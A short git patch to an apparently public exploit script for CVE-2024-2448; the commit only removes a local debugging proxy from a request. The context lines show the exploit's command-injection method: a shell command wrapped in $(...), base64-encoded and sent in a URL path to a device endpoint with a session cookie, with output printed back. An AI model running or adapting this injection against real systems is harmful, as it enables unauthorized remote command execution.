From ceb68827d62e74ef010bc133e5c02a17f0dcd429 Mon Sep 17 00:00:00 2001 From: Dave Yesland <41924355+DaveYesland@users.noreply.github.com> Date: Fri, 8 Nov 2024 09:36:26 -0800 Subject: [PATCH] Update CVE-2024-2448.py Remove proxy --- CVE-2024-2448/CVE-2024-2448.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/CVE-2024-2448/CVE-2024-2448.py b/CVE-2024-2448/CVE-2024-2448.py index b4cd8be..072ab31 100644 --- a/CVE-2024-2448/CVE-2024-2448.py +++ b/CVE-2024-2448/CVE-2024-2448.py @@ -31,7 +31,7 @@ def exec_command(cmd, cookie, host): cmd = f"$({cmd} 1>&2)" encoded_cmd = base64.b64encode(cmd.encode()).decode() url = f"{host}/progs/hg_cfg/add_rs/{encoded_cmd}" - response = requests.get(url, headers=get_headers(host, cookie), verify=False, proxies={"https":"http://192.168.0.11:8080"}) + response = requests.get(url, headers=get_headers(host, cookie), verify=False) print(get_cmd_output(response.text)) cleanup(cookie, host)